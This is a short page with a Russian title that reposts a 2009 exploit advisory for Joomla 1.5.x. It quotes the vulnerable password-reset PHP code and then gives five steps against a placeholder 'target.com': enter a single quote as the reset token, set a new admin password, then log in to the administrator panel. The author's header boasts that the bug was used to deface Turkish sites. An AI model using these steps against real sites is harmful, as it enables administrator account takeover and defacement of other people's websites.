Обход ограничений безопасности в Joomla (эксплоит, exploit)

03.12.2009 12:52:00
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#####################################################################################
####                     Joomla 1.5.x Remote Admin Password Change               ####
#####################################################################################
#                                                                                   #
# Author: d3m0n (d3m0n@o2.pl)                                                       #
# Greets: GregStar, gorion, d3d!k                                                   #
#                                                                                   #
# Polish "hackers" used this bug to deface turkish sites BUAHAHHA nice 0-day pff    #
#                                                                                   #
#####################################################################################



File : /components/com_user/controller.php

#####################################################################################
Line : 379-399
 
function confirmreset()
{
    // Check for request forgeries
    JRequest::checkToken() or die( 'Invalid Token' );

    // Get the input
    $token = JRequest::getVar('token', null, 'post', 'alnum');  < --- {1} 
                  
    // Get the model
    $model = &$this->getModel('Reset');

    // Verify the token
    if ($model->confirmReset($token) === false)   < --- {2}
    {
        $message = JText::sprintf('PASSWORD_RESET_CONFIRMATION_FAILED', $model->getError());
        $this->setRedirect('index.php?option=com_user&view=reset&layout=confirm', $message);
        return false;
    }

    $this->setRedirect('index.php?option=com_user&view=reset&layout=complete');
}
    
#####################################################################################
    
File : /components/com_user/models/reset.php

Line: 111-130     
    
    
    
function confirmReset($token)
{
    global $mainframe;

    $db    = &JFactory::getDBO();
$db->setQuery('SELECT id FROM real_users WHERE block = 0 AND activation = '.$db->Quote($token));<--{3} 

    // Verify the token
    if (!($id = $db->loadResult()))
    {
        $this->setError(JText::_('INVALID_TOKEN'));
        return false;
    }

    // Push the token and user id into the session
    $mainframe->setUserState($this->_namespace.'token',    $token);
    $mainframe->setUserState($this->_namespace.'id',    $id);

    return true;
}
#####################################################################################



{1} - Replace ' with empty char
{3} - If you enter ' in token field then query will be looks like :
 "SELECT id FROM jos_users WHERE block = 0 AND activation = '' "


Example :


1. Go to url : target.com/index.php?option=com_user&view=reset&layout=confirm

2. Write into field "token" char ' and Click OK.

3. Write new password for admin

4. Go to url : target.com/administrator/

5. Login admin with new password

Яндекс.Метрика